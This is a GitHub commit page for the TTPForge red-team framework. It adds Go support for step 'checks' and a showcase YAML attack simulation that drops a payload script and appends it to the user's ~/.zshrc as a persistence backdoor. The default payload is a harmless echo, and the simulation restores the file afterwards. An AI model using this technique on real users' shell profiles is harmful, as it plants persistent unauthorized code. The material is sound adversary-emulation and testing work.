Skip to content

Commit

Permalink
Add Showcase Example and Enable Checks for Steps (#428)
Browse files Browse the repository at this point in the history
Summary:
Pull Request resolved: #428

* Add a showcase TTP that shows off a large number of the newer TTPForge features
* Enable usage of `checks:` in steps so that they can be used in the example TTP

Reviewed By: cedowens

Differential Revision: D51437115

fbshipit-source-id: 5c6ceb4f46ba904fa86b91a62bc0c318f59413b9
  • Loading branch information
d3sch41n authored and facebook-github-bot committed Nov 17, 2023
1 parent 375d090 commit 386eafb
Show file tree
Hide file tree
Showing 4 changed files with 79 additions and 3 deletions.
57 changes: 57 additions & 0 deletions example-ttps/introduction/dotfile-backdoor-demo.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
---
name: dotfile_backdoor
description: |
This TTP demonstrates the core features of TTPForge:
- Various Attacker Actions Implemented as Executable YAML
- Simple but powerful Command-line Argument Support
- Last-in-First-Out Cleanup Execution
- Checking Conditions at Runtime to Avoid Errors
args:
- name: target_file_path
description: The file that we should try to backdoor
default: ~/.zshrc
- name: payload_file_path
description: |
The path to which we should write the payload file.
The backdoor we insert into the target file will reference this
payload.
default: /tmp/ttpforge-dotfile-backdoor-demo-payload.sh
- name: payload_cmd
description: |
The shell command that our payload should execute
default: echo 'Hello from TTPForge! You have been pwned!'
- name: backup_file_path
description: |
The file path to which the target file should be backed up
default: /tmp/ttpforge-dotfile-backdoor-backup
steps:
- name: verify_dotfile_exists
description: |
Uses the `checks:` feature to verify that the target file
actually exists before we try to write to it
print_str: |
Verifying that {{.Args.target_file_path}} exists...
checks:
- path_exists: {{.Args.target_file_path}}
msg: "Target file {{.Args.target_file_path}} must exist"
- name: create_payload_file
description: |
This step uses the `create_file:` action to drop our payload to disk
create_file: {{.Args.payload_file_path}}
contents: |
#!/bin/bash
# Created by TTPForge
{{.Args.payload_cmd}}
mode: 0755
cleanup: default
- name: backdoor_target_file
edit_file: {{.Args.target_file_path}}
backup_file: {{.Args.backup_file_path}}
edits:
- append: |
# ADDED BY TTPFORGE - SHOULD BE CLEANED UP AUTOMATICALLY
# BUT IF NOT YOU CAN DELETE THIS :)
{{.Args.payload_file_path}}
cleanup:
inline: |
cp {{.Args.backup_file_path}} {{.Args.target_file_path}}
6 changes: 4 additions & 2 deletions pkg/blocks/step.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@ import (
"errors"
"fmt"

"github.com/facebookincubator/ttpforge/pkg/checks"
"github.com/facebookincubator/ttpforge/pkg/logging"
"gopkg.in/yaml.v3"
)
Expand All @@ -31,8 +32,9 @@ import (
// common to every type of step (such as Name).
// It centralizes validation to simplify the code
type CommonStepFields struct {
Name string `yaml:"name,omitempty"`
Description string `yaml:"description,omitempty"`
Name string `yaml:"name,omitempty"`
Description string `yaml:"description,omitempty"`
Checks []checks.Check `yaml:"checks,omitempty"`

// CleanupSpec is exported so that UnmarshalYAML
// can see it - however, it should be considered
Expand Down
16 changes: 15 additions & 1 deletion pkg/blocks/ttps.go
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,9 @@ import (
"time"

"github.com/facebookincubator/ttpforge/pkg/args"
"github.com/facebookincubator/ttpforge/pkg/checks"
"github.com/facebookincubator/ttpforge/pkg/logging"
"github.com/spf13/afero"
"gopkg.in/yaml.v3"
)

Expand Down Expand Up @@ -283,8 +285,20 @@ func (t *TTP) RunSteps(execCtx *TTPExecutionContext) (*StepResultsRecord, int, e
}
return nil, firstStepToCleanupIdx, err
}
firstStepToCleanupIdx++

// if the user specified custom success checks, run them now
verificationCtx := checks.VerificationContext{
FileSystem: afero.NewOsFs(),
}
for checkIdx, check := range step.Checks {
if err := check.Verify(verificationCtx); err != nil {
return nil, firstStepToCleanupIdx, fmt.Errorf("success check %d of step %q failed: %w", checkIdx+1, step.Name, err)
}
logging.L().Debugf("Success check %d (%q) of step %q PASSED", checkIdx+1, check.Msg, step.Name)
}

// step execution successful - record results
firstStepToCleanupIdx++
execResult := &ExecutionResult{
ActResult: *stepResult,
}
Expand Down
3 changes: 3 additions & 0 deletions ttpforge-repo-config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
---
ttp_search_paths:
- example-ttps

0 comments on commit 386eafb

Please sign in to comment.